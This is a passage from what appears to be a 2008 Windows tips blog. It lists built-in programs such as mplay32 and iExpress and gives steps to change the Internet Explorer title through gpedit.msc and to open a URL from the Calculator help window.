** Now, type mplay32

4. iExpress :

Used to create SetupsYou can create your own installers !
** start>>Run
** Now, type iexpress

Change Internet Explorer Title

2008-11-25T06:11:00.000-08:00

1. Click Start > Run > Type gpedit.msc
2. Click User Configuration > Windows Setting > Internet Explorer Maintenance > Browser User Interface
3. Double click on Browser Title
4. Click on Customize Title Bars
5. type in whatever you want
6. Click OK

Now you changed the title of your browser and you sure see what you wrote when you
open a New Widow.

Browse The Web Using MS Calculator

2008-11-22T03:26:00.000-08:00

Now access internet via your standard Microsoft Calculator

Steps:

1. Open your MS Calculator. This is normally found in Start => All Programs => Accessories => Calculator.

2. Open the help-window by pressing the F1 key.

3. Click the top-left corner icon of the help window once (Standard is a Document with a Questionmark).

4. Select 'Jump to URL'.

5. Type your address into the available field.